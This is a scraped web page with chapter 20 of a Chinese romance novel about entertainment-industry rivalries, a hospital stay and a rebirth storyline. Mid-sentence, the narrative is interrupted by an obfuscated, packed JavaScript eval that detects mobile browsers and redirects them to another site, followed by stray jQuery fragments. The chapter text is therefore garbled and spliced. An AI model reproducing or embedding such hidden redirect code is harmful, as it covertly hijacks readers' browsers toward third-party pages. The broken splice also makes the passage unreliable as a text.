默认冷灰
24号文字
方正启体

20. 第 20 章

作者:寒英本书字数:K更新时间:
    江凛月有些懵,看鬼似得看着林叙白。


    怀疑他是不是被什么脏东西上了身。


    不然林叙白怎么突然变了性似的,竟然要收回和她保持距离这种话。


    以江凛月对他的了解,林叙白是由内而外,从骨头里都散发着冷漠的人,永远将人拒之千里之外。


    即使是他唯一的亲人——林南星,江凛月也能感受到他们兄弟俩之间似有若无的一丝距离感。


    林叙白很少过问林南星学习中的问题,很少主动倾诉自己的事;林南星也从不多问他工作上的事,也几乎不会主动麻烦他。


    与其说是亲兄弟,两人更像是从彼此身上,在这个世界找到归属感的合作者。


    或许是因为今天她陪他来了医院,所以林叙白才会这么客套一句。


    照往常,他这么傲,哪里会主动认错?恐怕别人都火冒三丈了,他也会事不关己。


    江凛月想明白后,没怎么放在心上地点点头。


    没多久,收到消息的刘曼文赶来,看见江凛月的时候惊讶了一下。


    “刘老师,既然您来了,我就不多留了。”江凛月笑着又补一句:“毕竟曲子坤和林叙白都是您手下的艺人,相信您一定会给林叙白一个公平公正的交代。”


    刘曼文失言片刻,点了点她的脑袋:“行了,别给我戴高帽,这事儿我心里有数。你还是快回去看着点儿你手底下的艺人,可别也出什么意外。”


    “呸呸呸,”江凛月急得差点儿捂住这位前辈的嘴:“老师,您还是盼着我点儿好吧。”


    看着她着急跺脚的样子,林叙白脸上无甚表情,只是如黑曜石一样的瞳孔里片寸不移地倒映着江凛月的背影。


    江凛月回头那刻,林叙白熟练地垂下眼睑,熟练地掩饰情绪。


    “那我就先走了。”


    她说着,拿起自己的包,没有得到林叙白的回应,江凛月自然不指望他能说出什么客套挽留的话,毫不在乎地潇洒走人。


    高跟鞋踩在地上“哒哒哒”的声响,渐行渐远。


    林叙白平静地侧目,目送那道俏丽的身影消失在门口,消失在视野里,渐渐连声音都再也听不见。


    ……


    病房的门被轻轻掩上,仔细听,门外的声音断断续续地传进来,清晰钻进耳廓。


    “喂,楚枯……”


    “不行,我现在有事……我知道了,那你等着我……”


    前世,林叙白严重烧伤,做完手术后,被移到病房。


    苏醒后没有看见江凛月的身影,倒是听到了她的声音,纵使不想承认,但孤身一人从病房里醒来,知道她还在的那一刻林叙白罕见地感到些心安。


    即使这种感觉在江凛月进来的时候显得那么可笑。


    “你醒了?”江凛月看见他睁眼,表情很惊喜,“感觉怎么样?还疼吗?”


    像这样关切了几句。


    但甚至没等到他回答,就又接着说:“你先好好休息,我明天来看你。”


    林叙白面无表情,嘴唇紧闭,静静看着她穿上外套,拿起床边的包,准备就绪,随时就可以转身走人。


    江凛月站在不远处,似乎对于自己在男朋友刚做完手术就要抛下他离开,去找别的男人的行为,并未觉得有什么不妥,走到门口时,歪着身子告别:“那我先走了?”


    林叙白也如现在一样,一动不动看着她,也冷漠地没有回应。


    江凛月习惯了他不善言辞的性格,又或许他的回答对她来说根本不重要。


    她要走,他还能拦住不成?


    每一次,她被别人一个电话就叫走也不是稀奇事。


    窗外的天好似垂下来的幕布,黑压压罩了整座城市,只剩下一轮明月独独高悬。


    病房里重归寂静,林叙白透过窗户看着月光发呆,原来刚才苏醒时的孤独感并不是幻觉,只是虽迟但到的一种诅咒。


    “林叙白?”


    刘曼文的声音一下子将林叙白拉回现实。


    林叙白看向她,才想起来打招呼:“刘姐。”


    刘曼文走近,看了看他受伤的腿,象征性关心了两句,接着话入正题:“这件事,你打算怎么处理?”


    跨年晚会自然是泡汤了,不光是林叙白,曲子坤也什么都没得到。


    "你摔倒时的监控录像我看了。"


    刘曼文提到这个,林叙白瞬间就明白她接下来要说什么,他当时陷害曲子坤的行为也是临时决定,拙劣,处处是破绽,刘曼文能察觉到也在他预料之中。


    “你和曲子坤之间的算计我不在乎,也能理解,这个圈子里资源有限,为自己争一口气自然也没有错。但我奉劝你,下次别再这么鲁莽行事,漏洞百出不说,也要想想对方是不是你目前能得罪得起的。”


    林叙白自是知道她话里有话,本来这次的目的也不是想要曲子坤怎么样。


    “我知道了,刘姐。”林叙白垂下眼时,浓密的长睫投落下一小片灰色的阴影,显得他特别乖顺。


    但刘曼文知道,他骨子里绝不是这么无害的样子,她带他的时间不长,满打满算也就两个多月,但越是接触,就越让她觉得他不像是刚入圈的新人,对娱乐圈里的规则倒是驾轻就熟。


    但到底还是个新人,不然也不会做出这种损人不利己的事来。


    这一副顺从的样子之下,说不定有多犟呢。


    为了让他知道事情的严重性,刘曼文说:“互联网上大众看到的都是资本想让他们看到的。你有没有想过,曲子坤那边要是拿着自证清白的‘证据’发到网上,再花钱营销一番,就算他真的推了你,黑的也能说成白的,你不但摔断腿,连路人缘也没了。不过,黑红也是红,如果你想走这条路,我也不拦你。”


    林叙白皱起眉,直截了当地问:“你想要我怎么做?”


    “想办法和曲子坤达成共识,你是不小心滑倒摔了下去,他之后不再计较。”刘曼文说:“你得罪的可不只是曲子坤。”


    她是想说,曲子坤虽也是她的艺人,但他要真想做什么,碍于他背后的人,她也拦不了。


    “我知道了。”林叙白沉默片刻,“我会联系他。”


    刘曼文满意点头,还不算太犟。


    “你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152673|194442||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    先把腿养着,江导那儿我去交涉。”


    “谢谢刘姐。”


    跨年晚会当天出事故这事儿还上了热搜,但由于主角没多少人认识,热度很快就降了下去,只有曲子坤的少量粉丝议论几句。


    江凛月监控舆论风向,虽然那点儿舆论就像是村口大爷大妈闲聊。


    看到有曲子坤的粉丝不分青红皂白爬到林叙白的微博下面骂,她气笑了,二话不说用小号骂了回去。


    曲奇饼干:【不知道是从哪儿冒出来的小糊咖,还来碰瓷我家哥哥,怕不是想火想疯了,蹭热度蹭上瘾了。】


    打开天窗说脏话:【哈哈哈笑死,你以为你家哥哥多火啊,碰瓷他除了惹一身腥之外有什么好处?还蹭热度?你担那热度恐怕也就比绝对零度高点儿,往高了说连个火星都算不上。不过我看,你担已经很厉害了,一般人过成他那样早就跳楼了。】


    江凛月捧着手机,键盘上手指翻飞,以一敌十,把对方粉丝全都怼走,还这儿一片净土。


    因为主演受伤,《尘埃向上》的拍摄进度只能推迟,或先拍其他人的戏份。


    招了助理后,温慕青那边再也不用她天天探班。


    跨年晚会给他带了些热度,也涨了不少粉丝,江凛月策划着如何抓住这波流量。


    一周后才腾出空来到医院


    林叙白还如前段时间那样半躺在床上,右腿打着石膏不能动弹,手上拿着一本书,除了翻动书页的手指,身体一动不动,看得很认真。


    听见门口的动静,以为是刘曼文找来的护工,眼皮都没抬,说了一句:“把东西放下,你就回去吧。”


    江凛月倚着墙,双手抱臂,嗓音含着打趣的笑意:“我才刚来,就赶我走啊。”


    再熟悉不过的声音突然出现在病房里,仿若静悄悄的夜空中忽然炸开的烟花,林叙白目光一顿,缓缓扭头看过去。


    江凛月穿着鲜亮的,活泼的橙色羽绒服,微卷的长发被拢在脑后,扎了个丸子头,后脑勺呈现出一种很标准的的圆形,就好似未出校园的学生,突兀地出现在单调无趣的病房中,为这里带来一抹亮色。


    他的表情没有多大变化,但眼睛却直勾勾地盯着人。


    江凛月被他看得有些奇怪,对视片刻,嘴角的笑容渐渐维持不住,借着低头咳嗽的假动作错开视线。


    林叙白同时回神,将手里的书放下。


    “在看什么?”江凛月走过去,好奇地往那本书上瞅,但有林叙白的身子遮挡视线,只依稀看见了一个“律”字。


    林叙白说:“没什么,随便打发时间看的。”


    顿了顿,他又问:“你怎么来了?”


    “我来看看你啊。”江凛月说得那么自然,自然地好似在说他明知故问。


    “你来早了。”林叙白目视前方,没有看她:“我现在还不能出院。”


    江凛月没听明白,只道:“我知道啊。没出院我就不能来看你吗?”


    她站着,林叙白只有微微仰着头才能看到她,对上一双黑白分明的大眼睛,一时语塞。


    半晌,喉结轻滚:“能。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)